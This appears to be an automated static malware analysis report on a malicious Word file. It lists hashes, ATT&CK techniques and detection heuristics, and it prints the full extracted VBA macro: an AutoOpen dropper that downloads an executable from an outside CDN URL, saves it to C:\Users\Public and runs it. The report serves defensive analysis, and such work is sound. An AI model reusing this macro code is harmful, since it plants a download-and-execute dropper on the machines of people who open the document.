Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4e333a8aa1c887cb…

MALICIOUS

Office (OOXML)

3.15 MB Created: 2021-05-22 17:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: 0adafe504ed4f6ba2e20437c49248a54 SHA-1: 352572a7fe68a4b23a865925bfab8b4e970269a7 SHA-256: 4e333a8aa1c887cb4c1ded185fa0ee4155ae12c1d120291e4a89553fdb700db1
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that uses CreateObject to download a file from a remote URL and save it as 'C:\Users\Public\file.exe'. It then executes this downloaded file using Shell() and attempts to launch 'C:\Users\Public\DesktopGoose v0.3\GooseDesktop.exe'. This indicates a clear intent to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    x = Shell("C:\Users\Public\file.exe", vbNormalFocus)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        bStrm.Write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set xHttp = CreateObject("Msxml2.XMLHttp.6.0")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://w3g3a5v6.ssl.hwcdn.net/upload2/game/558218/1957163?GoogleAccessId=uploader@moonscript2.iam.gserviceaccount.com&Expires=1621701023&Signature=OHoWiP2Ptx8LdQoeaYb4B%2FOr%2BL8%2BQn6awmwW%2FBaZcqfIjuQSQlc45i7lzMY42XFW2qw23upYL%2Bw%2FKTmMqE6pWiADMhAh%2B6%2FSnVSDtMYw8IdGi6kERzm5PPBm1s3IPPo8nXbiJAvaYGvnxF3S1cw49dNVIPA7KFnE%2BVDRQ2vtYiJ7FAr0TXaIGtiTg35UkKwzJ1FNqD6VJAMoNDtKPYiht1MxHpkm62FBjStfIHvxwMiCvsgNOr01zR999Ht%2FoFB3uEqekpF5dSssHDHMzRtl0GgMM7Cga1VttK%2FYlbDO9aONcmVMkMHhvUn1fJ94FldWFQxXaopeAzhgWPpoQmGzpw==&hwexp=1621701283&hwsig=6a335ddf4851181eee197cd66efbca1fReferenced by macro
    • https://w3g3a5v6.ssl.hwcdn.net/upload2/game/558218/1957163?GoogleAccessId=uploader@moonscript2.iam.gserviceaccount.com&Expires=1621701023&Signature=OHoWiP2Ptx8LdQoeaYb4B%2FOr%2BL8%2BQn6awmwW%2FBaZcqfIjuQSQlc45i7lzMY42XFW2qw23upYL%2Bw%2FKTmMqE6pWiADMhAh%2B6%2FSnVSDtMYw8IdGi6kERzm5PPBm1s3IPPo8nXbiJAvaYGvnxF3S1cw49dNVIPA7KFnE%2BVDRQ2vtYiJ7FAr0TXaIGtiTg35UkKwzJ1FNqD6VJAMoNDtKPYiht1MxHpkm62FBjStfIHvxwMiCvsgNOr01zR999Ht%2FoFB3uEqekpF5dSssHDHMzRtl0GgMM7Cga1VttK%2FYlbDO9aONcmVMkMHhvUn1fJ94FldWFQxXaopeAzhgWPpoQmGzpw==&hwexp=1621701283&hwsig=6a335ddf4851181eee197cd66efbca1f�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1545 bytes
SHA-256: f9bad1c5119caa2f93b6c5d95c576e7cf211f40de98a1095b162fdb8e4a84705
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Msxml2.XMLHttp.6.0")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://w3g3a5v6.ssl.hwcdn.net/upload2/game/558218/1957163?GoogleAccessId=uploader@moonscript2.iam.gserviceaccount.com&Expires=1621701023&Signature=OHoWiP2Ptx8LdQoeaYb4B%2FOr%2BL8%2BQn6awmwW%2FBaZcqfIjuQSQlc45i7lzMY42XFW2qw23upYL%2Bw%2FKTmMqE6pWiADMhAh%2B6%2FSnVSDtMYw8IdGi6kERzm5PPBm1s3IPPo8nXbiJAvaYGvnxF3S1cw49dNVIPA7KFnE%2BVDRQ2vtYiJ7FAr0TXaIGtiTg35UkKwzJ1FNqD6VJAMoNDtKPYiht1MxHpkm62FBjStfIHvxwMiCvsgNOr01zR999Ht%2FoFB3uEqekpF5dSssHDHMzRtl0GgMM7Cga1VttK%2FYlbDO9aONcmVMkMHhvUn1fJ94FldWFQxXaopeAzhgWPpoQmGzpw==&hwexp=1621701283&hwsig=6a335ddf4851181eee197cd66efbca1f", False
xHttp.Send

If xHttp.Status = 200 Then
    bStrm.Open
    bStrm.Type = 1
    bStrm.Write xHttp.responseBody
    bStrm.SaveToFile "C:\Users\Public\file.exe", 2
    bStrm.Close
End If


Dim x As Variant
Dim y As Variant
x = Shell("C:\Users\Public\file.exe", vbNormalFocus)
SendKeys "+{ENTER}"
Sleep 3000
y = Shell("C:\Users\Public\DesktopGoose v0.3\GooseDesktop.exe", vbNormalFocus)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 08e71c3d2a10dcf5072a0d912462781ae98ecaf2067e936407445eeceedbd82c

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